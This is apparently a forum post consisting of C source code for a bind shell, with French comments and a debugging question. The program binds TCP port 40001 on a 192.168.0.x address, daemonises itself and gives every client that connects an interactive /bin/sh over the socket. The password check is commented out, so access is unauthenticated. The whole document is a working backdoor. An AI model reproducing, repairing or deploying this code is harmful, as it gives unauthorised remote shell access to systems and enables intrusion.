1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <syslog.h>
#include <fcntl.h>
#define PORT 40001
#define PASS "pass"
int main(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin;
sin.sin_port = htons(PORT);
sin.sin_family = AF_INET;
char buffer[300];
int fd, n;
for(fd = 1, n = -1; fd < 255 && n < 0; fd++)
{
sprintf(buffer, "192.168.0.%d", fd);
sin.sin_addr.s_addr = inet_addr(buffer);
n = bind(sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));
}
printf("Port: %s\n", buffer);
// Je le demonise
if(fork())
return 0;
listen(sock, 5);
struct sockaddr_in csin;
n = sizeof(struct sockaddr_in);
char *argb[] = {"/bin/sh", NULL};
while(1)
{
while( (fd = accept(sock, (struct sockaddr*)&csin, (socklen_t*)&n)) == -1)
return -1;
// A chaque client son processus
if(fork() == 0)
{
/*do
{
write(fd, "Password: ", sizeof("Password: "));
n = read(fd, buffer, sizeof(buffer));
}while(n > 0 && strncmp(PASS, buffer, sizeof(buffer)) == 0);*/
dup2(fd, STDIN_FILENO);
dup2(fd, STDOUT_FILENO);
dup2(fd, STDERR_FILENO);
// where is the problem
execv("/bin/sh", argb);
close(fd);
}
}
return 0;
} |
Partager